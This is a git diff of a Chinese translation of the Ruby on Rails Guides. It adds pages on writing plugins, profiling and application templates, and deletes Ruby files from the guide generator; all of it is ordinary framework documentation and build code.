+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+end
+
+
+
+

执行 bin/test 命令,应该看到下述输出:

+
+# Running:
+
+..E
+
+Error:
+ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
+NameError: uninitialized constant ActsAsYaffleTest::Wickwall
+
+
+bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8
+
+E
+
+Error:
+ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
+NameError: uninitialized constant ActsAsYaffleTest::Hickwall
+
+
+bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4
+
+
+
+Finished in 0.004812s, 831.2949 runs/s, 415.6475 assertions/s.
+
+4 runs, 2 assertions, 0 failures, 2 errors, 0 skips
+
+
+
+

输出表明,我们想测试的模型(Hickwall 和 Wickwall)不存在。为此,可以在 test/dummy 目录中运行下述命令生成:

+
+$ cd test/dummy
+$ bin/rails generate model Hickwall last_squawk:string
+$ bin/rails generate model Wickwall last_squawk:string last_tweet:string
+
+
+
+

然后,进入虚设的应用,迁移数据库,创建所需的数据库表。首先,执行:

+
+$ cd test/dummy
+$ bin/rails db:migrate
+
+
+
+

同时,修改 Hickwall 和 Wickwall 模型,让它们知道自己的行为像绿啄木鸟。

+
+# test/dummy/app/models/hickwall.rb
+
+class Hickwall < ApplicationRecord
+  acts_as_yaffle
+end
+
+# test/dummy/app/models/wickwall.rb
+
+class Wickwall < ApplicationRecord
+  acts_as_yaffle yaffle_text_field: :last_tweet
+end
+
+
+
+

再添加定义 acts_as_yaffle 方法的代码:

+
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        # your code will go here
+      end
+    end
+  end
+end
+
+# test/dummy/app/models/application_record.rb
+
+class ApplicationRecord < ActiveRecord::Base
+  include Yaffle::ActsAsYaffle
+
+  self.abstract_class = true
+end
+
+
+
+

然后,回到插件的根目录(cd ../..),使用 bin/test 再次运行测试:

+
+# Running:
+
+.E
+
+Error:
+ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
+NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974ebbe9d8>
+
+
+bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4
+
+E
+
+Error:
+ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
+NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974eb8cfc8>
+
+
+bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8
+
+.
+
+Finished in 0.008263s, 484.0999 runs/s, 242.0500 assertions/s.
+
+4 runs, 2 assertions, 0 failures, 2 errors, 0 skips
+
+
+
+

快完工了……接下来实现 acts_as_yaffle 方法,让测试通过:

+
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        cattr_accessor :yaffle_text_field
+        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+      end
+    end
+  end
+end
+
+# test/dummy/app/models/application_record.rb
+
+class ApplicationRecord < ActiveRecord::Base
+  include Yaffle::ActsAsYaffle
+
+  self.abstract_class = true
+end
+
+
+
+

再次运行 bin/test,测试应该都能通过:

+
+4 runs, 4 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

4.2 添加一个实例方法

这个插件能为任何模型添加调用 acts_as_yaffle 方法的 squawk 方法。squawk 方法的作用很简单,设定数据库中某个字段的值。

首先,为预期行为编写一个失败测试:

+
+# yaffle/test/acts_as_yaffle_test.rb
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+
+  def test_hickwalls_squawk_should_populate_last_squawk
+    hickwall = Hickwall.new
+    hickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", hickwall.last_squawk
+  end
+
+  def test_wickwalls_squawk_should_populate_last_tweet
+    wickwall = Wickwall.new
+    wickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", wickwall.last_tweet
+  end
+end
+
+
+
+

运行测试,确保最后两个测试的失败消息中有“NoMethodError: undefined method squawk'”。然后,按照下述方式修改acts_as_yaffle.rb` 文件:

+
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        cattr_accessor :yaffle_text_field
+        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+
+        include Yaffle::ActsAsYaffle::LocalInstanceMethods
+      end
+    end
+
+    module LocalInstanceMethods
+      def squawk(string)
+        write_attribute(self.class.yaffle_text_field, string.to_squawk)
+      end
+    end
+  end
+end
+
+# test/dummy/app/models/application_record.rb
+
+class ApplicationRecord < ActiveRecord::Base
+  include Yaffle::ActsAsYaffle
+
+  self.abstract_class = true
+end
+
+
+
+

最后再运行一次 bin/test,应该看到:

+
+6 runs, 6 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

这里使用 write_attribute 写入模型中的字段,这只是插件与模型交互的方式之一,并不总是应该使用它。例如,也可以使用:

+
+send("#{self.class.yaffle_text_field}=", string.to_squawk)
+
+
+
+

5 生成器

gem 中可以包含生成器,只需将其放在插件的 lib/generators 目录中。创建生成器的更多信息参见创建及定制 Rails 生成器和模板

6 发布 gem

正在开发的 gem 式插件可以通过 Git 仓库轻易分享。如果想与他人分享这个 Yaffle gem,只需把代码纳入一个 Git 仓库(如 GitHub),然后在想使用它的应用中,在 Gemfile 中添加一行代码:

+
+gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'
+
+
+
+

运行 bundle install 之后,应用就可以使用插件提供的功能了。

gem 式插件准备好正式发布之后,可以发布到 RubyGems 网站中。关于这个话题的详细信息,参阅“Creating and Publishing Your First Ruby Gem”一文。

7 RDoc 文档

插件稳定后可以部署了,为了他人使用方便,一定要编写文档!幸好,为插件编写文档并不难。

首先,更新 README 文件,说明插件的用法。要包含以下几个要点:

+
    +
  • 你的名字
  • +
  • 插件用法
  • +
  • 如何把插件的功能添加到应用中(举几个示例,说明常见用例)
  • +
  • 提醒、缺陷或小贴士,这样能节省用户的时间
  • +
+

README 文件写好之后,为开发者将使用的方法添加 rdoc 注释。通常,还要为不在公开 API 中的代码添加 #:nodoc: 注释。

添加好注释之后,进入插件所在的目录,执行:

+
+$ bundle exec rake rdoc
+
+
+
+

8 参考资料

+ + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/profiling.html b/profiling.html new file mode 100644 index 0000000..d4cd3b0 --- /dev/null +++ b/profiling.html @@ -0,0 +1,238 @@ + + + + + + + +Rails 应用分析指南 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Rails 应用分析指南

本文介绍 Rails 内置的应用分析(profile)机制。

读完本文后,您将学到:

+
    +
  • Rails 分析术语;
  • +
  • 如何为应用编写基准测试;
  • +
  • 其他基准测试方案和插件。
  • +
+ + + +
+
+ +
+
+
+

本文原文尚未完工!

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/rails_application_templates.html b/rails_application_templates.html new file mode 100644 index 0000000..f46c60b --- /dev/null +++ b/rails_application_templates.html @@ -0,0 +1,479 @@ + + + + + + + +Rails 应用模板 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Rails 应用模板

应用模板是包含 DSL 的 Ruby 文件,作用是为新建的或现有的 Rails 项目添加 gem 和初始化脚本等。

读完本文后,您将学到:

+
    +
  • 如何使用模板生成和定制 Rails 应用;
  • +
  • 如何使用 Rails Templates API 编写可复用的应用模板。
  • +
+ + + + +
+
+ +
+
+
+

1 用法

若想使用模板,调用 Rails 生成器时把模板的位置传给 -m 选项。模板的位置可以是文件路径,也可以是 URL。

+
+$ rails new blog -m ~/template.rb
+$ rails new blog -m http://example.com/template.rb
+
+
+
+

可以使用 app:template 任务在现有的 Rails 应用中使用模板。模板的位置要通过 LOCATION 环境变量指定。同样,模板的位置可以是文件路径,也可以是 URL。

+
+$ bin/rails app:template LOCATION=~/template.rb
+$ bin/rails app:template LOCATION=http://example.com/template.rb
+
+
+
+

2 Templates API

Rails Templates API 易于理解。下面是一个典型的 Rails 模板:

+
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rails_command("db:migrate")
+
+after_bundle do
+  git :init
+  git add: "."
+  git commit: %Q{ -m 'Initial commit' }
+end
+
+
+
+

下面各小节简介这个 API 提供的主要方法。

2.1 gem(*args) +

在生成的应用的 Gemfile 中添加指定的 gem 条目。

例如,如果应用依赖 bjnokogiri

+
+gem "bj"
+gem "nokogiri"
+
+
+
+

请注意,这么做不会为你安装 gem,你要执行 bundle install 命令安装。

+
+$ bundle install
+
+
+
+

2.2 gem_group(*names, &block) +

把指定的 gem 条目放在一个分组中。

例如,如果只想在 developmenttest 组中加载 rspec-rails

+
+gem_group :development, :test do
+  gem "rspec-rails"
+end
+
+
+
+

2.3 add_source(source, options={}, &block) +

在生成的应用的 Gemfile 中添加指定的源。

例如,如果想安装 "http://code.whytheluckystiff.net/" 源中的 gem:

+
+add_source "http://code.whytheluckystiff.net/"
+
+
+
+

如果提供块,块中的 gem 条目放在指定的源分组里:

+
+add_source "http://gems.github.com/" do
+  gem "rspec-rails"
+end
+
+
+
+

2.4 environment/application(data=nil, options={}, &block) +

config/application.rb 文件中的 Application 类里添加一行代码。

如果指定了 options[:env],代码添加到 config/environments 目录中对应的文件中。

+
+environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com/"}', env: 'production'
+
+
+
+

data 参数的位置可以使用块。

2.5 vendor/lib/file/initializer(filename, data = nil, &block) +

在生成的应用的 config/initializers 目录中添加一个初始化脚本。

假设你想使用 Object#not_nil?Object#not_blank? 方法:

+
+initializer 'bloatlol.rb', <<-CODE
+  class Object
+    def not_nil?
+      !nil?
+    end
+
+    def not_blank?
+      !blank?
+    end
+  end
+CODE
+
+
+
+

类似地,lib() 方法在 lib/ directory 目录中创建一个文件,vendor() 方法在 vendor/ 目录中创建一个文件。

此外还有个 file() 方法,它的参数是一个相对于 Rails.root 的路径,用于创建所需的目录和文件:

+
+file 'app/components/foo.rb', <<-CODE
+  class Foo
+  end
+CODE
+
+
+
+

上述代码会创建 app/components 目录,然后在里面创建 foo.rb 文件。

2.6 rakefile(filename, data = nil, &block) +

lib/tasks 目录中创建一个 Rake 文件,写入指定的任务:

+
+rakefile("bootstrap.rake") do
+  <<-TASK
+    namespace :boot do
+      task :strap do
+        puts "i like boots!"
+      end
+    end
+  TASK
+end
+
+
+
+

上述代码会创建 lib/tasks/bootstrap.rake 文件,写入 boot:strap rake 任务。

2.7 generate(what, *args) +

运行指定的 Rails 生成器,并传入指定的参数。

+
+generate(:scaffold, "person", "name:string", "address:text", "age:number")
+
+
+
+

2.8 run(command) +

运行任意命令。作用类似于反引号。假如你想删除 README.rdoc 文件:

+
+run "rm README.rdoc"
+
+
+
+

2.9 rails_command(command, options = {}) +

在 Rails 应用中运行指定的任务。假如你想迁移数据库:

+
+rails_command "db:migrate"
+
+
+
+

还可以在不同的 Rails 环境中运行任务:

+
+rails_command "db:migrate", env: 'production'
+
+
+
+

还能以超级用户的身份运行任务:

+
+rails_command "log:clear", sudo: true
+
+
+
+

2.10 route(routing_code) +

config/routes.rb 文件中添加一条路由规则。在前面几节中,我们使用脚手架生成了 Person 资源,还删除了 README.rdoc 文件。现在,把 PeopleController#index 设为应用的首页:

+
+route "root to: 'person#index'"
+
+
+
+

2.11 inside(dir) +

在指定的目录中执行命令。假如你有一份最新版 Rails,想通过符号链接指向 rails 命令,可以这么做:

+
+inside('vendor') do
+  run "ln -s ~/commit-rails/rails rails"
+end
+
+
+
+

2.12 ask(question) +

ask() 方法获取用户的反馈,供模板使用。假如你想让用户为新添加的库起个响亮的名称:

+
+lib_name = ask("What do you want to call the shiny library ?")
+lib_name << ".rb" unless lib_name.index(".rb")
+
+lib lib_name, <<-CODE
+  class Shiny
+  end
+CODE
+
+
+
+

2.13 yes?(question)no?(question) +

这两个方法用于询问用户问题,然后根据用户的回答决定流程。假如你想在用户同意时才冰封 Rails:

+
+rails_command("rails:freeze:gems") if yes?("Freeze rails gems?")
+# no?(question) 的作用正好相反
+
+
+
+

2.14 git(:command) +

在 Rails 模板中可以运行任意 Git 命令:

+
+git :init
+git add: "."
+git commit: "-a -m 'Initial commit'"
+
+
+
+

2.15 after_bundle(&block) +

注册一个回调,在安装好 gem 并生成 binstubs 之后执行。可以用来把生成的文件纳入版本控制:

+
+after_bundle do
+  git :init
+  git add: '.'
+  git commit: "-a -m 'Initial commit'"
+end
+
+
+
+

即便传入 --skip-bundle 和(或) --skip-spring 选项,也会执行这个回调。

3 高级用法

应用模板在 Rails::Generators::AppGenerator 实例的上下文中运行,用到了 Thor 提供的 apply 方法。因此,你可以扩展或修改这个实例,满足自己的需求。

例如,覆盖指定模板位置的 source_paths 方法。现在,copy_file 等方法能接受相对于模板位置的相对路径。

+
+def source_paths
+  [File.expand_path(File.dirname(__FILE__))]
+end
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/rails_guides.rb b/rails_guides.rb deleted file mode 100644 index 58f5eef..0000000 --- a/rails_guides.rb +++ /dev/null @@ -1,20 +0,0 @@ -$:.unshift __dir__ - -require "rails_guides/generator" -require "rails_guides/cn" # PLEASE DO NOT FORGET ME -require "active_support/core_ext/object/blank" - -env_value = ->(name) { ENV[name].presence } -env_flag = ->(name) { "1" == env_value[name] } - -version = env_value["RAILS_VERSION"] -edge = `git rev-parse HEAD`.strip unless version - -RailsGuides::Generator.new( - edge: edge, - version: version, - all: env_flag["ALL"], - only: env_value["ONLY"], - kindle: env_flag["KINDLE"], - language: env_value["GUIDES_LANGUAGE"] -).generate diff --git a/rails_guides/cn.rb b/rails_guides/cn.rb deleted file mode 100644 index e4d1c24..0000000 --- a/rails_guides/cn.rb +++ /dev/null @@ -1,65 +0,0 @@ -# Patch for zh-CN generation - -module RailsGuides - class Markdown - private - - def dom_id(nodes) - dom_id = dom_id_text(nodes.last) - - # Fix duplicate node by prefix with its parent node - if @node_ids[dom_id] - if @node_ids[dom_id].size > 1 - duplicate_nodes = @node_ids.delete(dom_id) - new_node_id = "#{duplicate_nodes[-2][:id]}-#{duplicate_nodes.last[:id]}" - duplicate_nodes.last[:id] = new_node_id - @node_ids[new_node_id] = duplicate_nodes - end - - dom_id = "#{nodes[-2][:id]}-#{dom_id}" - end - - @node_ids[dom_id] = nodes - dom_id - end - - def dom_id_text(node) - if node.previous_element && node.previous_element.inner_html.include?('class="anchor"') - node.previous_element.children.first['id'] - else - escaped_chars = Regexp.escape('\\/`*_{}[]()#+-.!:,;|&<>^~=\'"') - - node.text.downcase.gsub(/\?/, "-questionmark") - .gsub(/!/, "-bang") - .gsub(/[#{escaped_chars}]+/, " ").strip - .gsub(/\s+/, "-") - end - end - - def generate_index - if @headings_for_index.present? - raw_index = "" - @headings_for_index.each do |level, node, label| - if level == 1 - raw_index += "1. [#{label}](##{node[:id]})\n" - elsif level == 2 - raw_index += " * [#{label}](##{node[:id]})\n" - end - end - - @index = Nokogiri::HTML.fragment(engine.render(raw_index)).tap do |doc| - doc.at("ol")[:class] = "chapters" - end.to_html - - # Only change `Chapters' to `目录' - @index = <<-INDEX.html_safe -
-

目录

- #{@index} -
- INDEX - end - end - - end -end diff --git a/rails_guides/generator.rb b/rails_guides/generator.rb deleted file mode 100644 index 35f0147..0000000 --- a/rails_guides/generator.rb +++ /dev/null @@ -1,206 +0,0 @@ -require "set" -require "fileutils" - -require "active_support/core_ext/string/output_safety" -require "active_support/core_ext/object/blank" -require "action_controller" -require "action_view" - -require "rails_guides/markdown" -require "rails_guides/indexer" -require "rails_guides/helpers" -require "rails_guides/levenshtein" - -module RailsGuides - class Generator - GUIDES_RE = /\.(?:erb|md)\z/ - - def initialize(edge:, version:, all:, only:, kindle:, language:) - @edge = edge - @version = version - @all = all - @only = only - @kindle = kindle - @language = language - - if @kindle - check_for_kindlegen - register_kindle_mime_types - end - - initialize_dirs - create_output_dir_if_needed - initialize_markdown_renderer - end - - def generate - generate_guides - copy_assets - generate_mobi if @kindle - end - - private - - def register_kindle_mime_types - Mime::Type.register_alias("application/xml", :opf, %w(opf)) - Mime::Type.register_alias("application/xml", :ncx, %w(ncx)) - end - - def check_for_kindlegen - if `which kindlegen`.blank? - raise "Can't create a kindle version without `kindlegen`." - end - end - - def generate_mobi - require "rails_guides/kindle" - out = "#{@output_dir}/kindlegen.out" - Kindle.generate(@output_dir, mobi, out) - puts "(kindlegen log at #{out})." - end - - def mobi - mobi = "ruby_on_rails_guides_#{@version || @edge[0, 7]}" - mobi += ".#{@language}" if @language - mobi += ".mobi" - end - - def initialize_dirs - @guides_dir = File.expand_path("..", __dir__) - - @source_dir = "#{@guides_dir}/source" - @source_dir += "/#{@language}" if @language - - @output_dir = "#{@guides_dir}/output" - @output_dir += "/kindle" if @kindle - @output_dir += "/#{@language}" if @language - end - - def create_output_dir_if_needed - FileUtils.mkdir_p(@output_dir) - end - - def initialize_markdown_renderer - Markdown::Renderer.edge = @edge - Markdown::Renderer.version = @version - end - - def generate_guides - guides_to_generate.each do |guide| - output_file = output_file_for(guide) - generate_guide(guide, output_file) if generate?(guide, output_file) - end - end - - def guides_to_generate - guides = Dir.entries(@source_dir).grep(GUIDES_RE) - - if @kindle - Dir.entries("#{@source_dir}/kindle").grep(GUIDES_RE).map do |entry| - next if entry == "KINDLE.md" - guides << "kindle/#{entry}" - end - end - - @only ? select_only(guides) : guides - end - - def select_only(guides) - prefixes = @only.split(",").map(&:strip) - guides.select do |guide| - guide.start_with?("kindle", *prefixes) - end - end - - def copy_assets - FileUtils.cp_r(Dir.glob("#{@guides_dir}/assets/*"), @output_dir) - end - - def output_file_for(guide) - if guide.end_with?(".md") - guide.sub(/md\z/, "html") - else - guide.sub(/\.erb\z/, "") - end - end - - def output_path_for(output_file) - File.join(@output_dir, File.basename(output_file)) - end - - def generate?(source_file, output_file) - fin = File.join(@source_dir, source_file) - fout = output_path_for(output_file) - @all || !File.exist?(fout) || File.mtime(fout) < File.mtime(fin) - end - - def generate_guide(guide, output_file) - output_path = output_path_for(output_file) - puts "Generating #{guide} as #{output_file}" - layout = @kindle ? "kindle/layout" : "layout" - - File.open(output_path, "w") do |f| - view = ActionView::Base.new( - @source_dir, - edge: @edge, - version: @version, - mobi: "kindle/#{mobi}", - language: @language - ) - view.extend(Helpers) - - if guide =~ /\.(\w+)\.erb$/ - # Generate the special pages like the home. - # Passing a template handler in the template name is deprecated. So pass the file name without the extension. - result = view.render(layout: layout, formats: [$1], file: $`) - else - body = File.read("#{@source_dir}/#{guide}") - result = RailsGuides::Markdown.new( - view: view, - layout: layout, - edge: @edge, - version: @version - ).render(body) - - warn_about_broken_links(result) - end - - f.write(result) - end - end - - def warn_about_broken_links(html) - anchors = extract_anchors(html) - check_fragment_identifiers(html, anchors) - end - - def extract_anchors(html) - # Markdown generates headers with IDs computed from titles. - anchors = Set.new - html.scan(/ Levenshtein.distance(fragment_identifier, b) - } - puts "*** BROKEN LINK: ##{fragment_identifier}, perhaps you meant ##{guess}." - end - end - end - end -end diff --git a/rails_guides/helpers.rb b/rails_guides/helpers.rb deleted file mode 100644 index 2a193ca..0000000 --- a/rails_guides/helpers.rb +++ /dev/null @@ -1,53 +0,0 @@ -require "yaml" - -module RailsGuides - module Helpers - def guide(name, url, options = {}, &block) - link = content_tag(:a, href: url) { name } - result = content_tag(:dt, link) - - if options[:work_in_progress] - result << content_tag(:dd, "Work in progress", class: "work-in-progress") - end - - result << content_tag(:dd, capture(&block)) - result - end - - def documents_by_section - @documents_by_section ||= YAML.load_file(File.expand_path("../../source/#{@language ? @language + '/' : ''}documents.yaml", __FILE__)) - end - - def documents_flat - documents_by_section.flat_map { |section| section["documents"] } - end - - def finished_documents(documents) - documents.reject { |document| document["work_in_progress"] } - end - - def docs_for_menu(position = nil) - if position.nil? - documents_by_section - elsif position == "L" - documents_by_section.to(3) - else - documents_by_section.from(4) - end - end - - def author(name, nick, image = "credits_pic_blank.gif", &block) - image = "images/#{image}" - - result = tag(:img, src: image, class: "left pic", alt: name, width: 91, height: 91) - result << content_tag(:h3, name) - result << content_tag(:p, capture(&block)) - content_tag(:div, result, class: "clearfix", id: nick) - end - - def code(&block) - c = capture(&block) - content_tag(:code, c) - end - end -end diff --git a/rails_guides/indexer.rb b/rails_guides/indexer.rb deleted file mode 100644 index c58b6b8..0000000 --- a/rails_guides/indexer.rb +++ /dev/null @@ -1,68 +0,0 @@ -require "active_support/core_ext/object/blank" -require "active_support/core_ext/string/inflections" - -module RailsGuides - class Indexer - attr_reader :body, :result, :warnings, :level_hash - - def initialize(body, warnings) - @body = body - @result = @body.dup - @warnings = warnings - end - - def index - @level_hash = process(body) - end - - private - - def process(string, current_level = 3, counters = [1]) - s = StringScanner.new(string) - - level_hash = {} - - while !s.eos? - re = %r{^h(\d)(?:\((#.*?)\))?\s*\.\s*(.*)$} - s.match?(re) - if matched = s.matched - matched =~ re - level, idx, title = $1.to_i, $2, $3.strip - - if level < current_level - # This is needed. Go figure. - return level_hash - elsif level == current_level - index = counters.join(".") - idx ||= "#" + title_to_idx(title) - - raise "Parsing Fail" unless @result.sub!(matched, "h#{level}(#{idx}). #{index} #{title}") - - key = { - title: title, - id: idx - } - # Recurse - counters << 1 - level_hash[key] = process(s.post_match, current_level + 1, counters) - counters.pop - - # Increment the current level - last = counters.pop - counters << last + 1 - end - end - s.getch - end - level_hash - end - - def title_to_idx(title) - idx = title.strip.parameterize.sub(/^\d+/, "") - if warnings && idx.blank? - puts "BLANK ID: please put an explicit ID for section #{title}, as in h5(#my-id)" - end - idx - end - end -end diff --git a/rails_guides/kindle.rb b/rails_guides/kindle.rb deleted file mode 100644 index 9536d0b..0000000 --- a/rails_guides/kindle.rb +++ /dev/null @@ -1,115 +0,0 @@ -#!/usr/bin/env ruby - -require "kindlerb" -require "nokogiri" -require "fileutils" -require "yaml" -require "date" - -module Kindle - extend self - - def generate(output_dir, mobi_outfile, logfile) - output_dir = File.absolute_path(output_dir) - Dir.chdir output_dir do - puts "=> Using output dir: #{output_dir}" - puts "=> Arranging html pages in document order" - toc = File.read("toc.ncx") - doc = Nokogiri::XML(toc).xpath("//ncx:content", "ncx" => "http://www.daisy.org/z3986/2005/ncx/") - html_pages = doc.select { |c| c[:src] }.map { |c| c[:src] }.uniq - - generate_front_matter(html_pages) - - generate_sections(html_pages) - - generate_document_metadata(mobi_outfile) - - puts "Creating MOBI document with kindlegen. This may take a while." - if Kindlerb.run(output_dir) - puts "MOBI document generated at #{File.expand_path(mobi_outfile, output_dir)}" - end - end - end - - def generate_front_matter(html_pages) - frontmatter = [] - html_pages.delete_if { |x| - if x =~ /(toc|welcome|credits|copyright).html/ - frontmatter << x unless x =~ /toc/ - true - end - } - html = frontmatter.map { |x| - Nokogiri::HTML(File.open(x)).at("body").inner_html - }.join("\n") - - fdoc = Nokogiri::HTML(html) - fdoc.search("h3").each do |h3| - h3.name = "h4" - end - fdoc.search("h2").each do |h2| - h2.name = "h3" - h2["id"] = h2.inner_text.gsub(/\s/, "-") - end - add_head_section fdoc, "Front Matter" - File.open("frontmatter.html", "w") { |f| f.puts fdoc.to_html } - html_pages.unshift "frontmatter.html" - end - - def generate_sections(html_pages) - FileUtils::rm_rf("sections/") - html_pages.each_with_index do |page, section_idx| - FileUtils::mkdir_p("sections/%03d" % section_idx) - doc = Nokogiri::HTML(File.open(page)) - title = doc.at("title").inner_text.gsub("Ruby on Rails Guides: ", "") - title = page.capitalize.gsub(".html", "") if title.strip == "" - File.open("sections/%03d/_section.txt" % section_idx, "w") { |f| f.puts title } - doc.xpath("//h3[@id]").each_with_index do |h3, item_idx| - subsection = h3.inner_text - content = h3.xpath("./following-sibling::*").take_while { |x| x.name != "h3" }.map(&:to_html) - item = Nokogiri::HTML(h3.to_html + content.join("\n")) - item_path = "sections/%03d/%03d.html" % [section_idx, item_idx] - add_head_section(item, subsection) - item.search("img").each do |img| - img["src"] = "#{Dir.pwd}/#{img['src']}" - end - item.xpath("//li/p").each { |p| p.swap(p.children); p.remove } - File.open(item_path, "w") { |f| f.puts item.to_html } - end - end - end - - def generate_document_metadata(mobi_outfile) - puts "=> Generating _document.yml" - x = Nokogiri::XML(File.open("rails_guides.opf")).remove_namespaces! - cover_jpg = "#{Dir.pwd}/images/rails_guides_kindle_cover.jpg" - cover_gif = cover_jpg.sub(/jpg$/, "gif") - puts `convert #{cover_jpg} #{cover_gif}` - document = { - "doc_uuid" => x.at("package")["unique-identifier"], - "title" => x.at("title").inner_text.gsub(/\(.*$/, " v2"), - "publisher" => x.at("publisher").inner_text, - "author" => x.at("creator").inner_text, - "subject" => x.at("subject").inner_text, - "date" => x.at("date").inner_text, - "cover" => cover_gif, - "masthead" => nil, - "mobi_outfile" => mobi_outfile - } - puts document.to_yaml - File.open("_document.yml", "w") { |f| f.puts document.to_yaml } - end - - def add_head_section(doc, title) - head = Nokogiri::XML::Node.new "head", doc - title_node = Nokogiri::XML::Node.new "title", doc - title_node.content = title - title_node.parent = head - css = Nokogiri::XML::Node.new "link", doc - css["rel"] = "stylesheet" - css["type"] = "text/css" - css["href"] = "#{Dir.pwd}/stylesheets/kindle.css" - css.parent = head - doc.at("body").before head - end -end diff --git a/rails_guides/levenshtein.rb b/rails_guides/levenshtein.rb deleted file mode 100644 index 40c6a5c..0000000 --- a/rails_guides/levenshtein.rb +++ /dev/null @@ -1,42 +0,0 @@ -module RailsGuides - module Levenshtein - # This code is based directly on the Text gem implementation. - # Copyright (c) 2006-2013 Paul Battley, Michael Neumann, Tim Fletcher. - # - # Returns a value representing the "cost" of transforming str1 into str2 - def self.distance(str1, str2) - s = str1 - t = str2 - n = s.length - m = t.length - - return m if (0 == n) - return n if (0 == m) - - d = (0..m).to_a - x = nil - - # avoid duplicating an enumerable object in the loop - str2_codepoint_enumerable = str2.each_codepoint - - str1.each_codepoint.with_index do |char1, i| - e = i + 1 - - str2_codepoint_enumerable.with_index do |char2, j| - cost = (char1 == char2) ? 0 : 1 - x = [ - d[j + 1] + 1, # insertion - e + 1, # deletion - d[j] + cost # substitution - ].min - d[j] = e - e = x - end - - d[m] = x - end - - return x - end - end -end diff --git a/rails_guides/markdown.rb b/rails_guides/markdown.rb deleted file mode 100644 index bf2cc82..0000000 --- a/rails_guides/markdown.rb +++ /dev/null @@ -1,167 +0,0 @@ -require "redcarpet" -require "nokogiri" -require "rails_guides/markdown/renderer" - -module RailsGuides - class Markdown - def initialize(view:, layout:, edge:, version:) - @view = view - @layout = layout - @edge = edge - @version = version - @index_counter = Hash.new(0) - @raw_header = "" - @node_ids = {} - end - - def render(body) - @raw_body = body - extract_raw_header_and_body - generate_header - generate_title - generate_body - generate_structure - generate_index - render_page - end - - private - - def dom_id(nodes) - dom_id = dom_id_text(nodes.last.text) - - # Fix duplicate node by prefix with its parent node - if @node_ids[dom_id] - if @node_ids[dom_id].size > 1 - duplicate_nodes = @node_ids.delete(dom_id) - new_node_id = "#{duplicate_nodes[-2][:id]}-#{duplicate_nodes.last[:id]}" - duplicate_nodes.last[:id] = new_node_id - @node_ids[new_node_id] = duplicate_nodes - end - 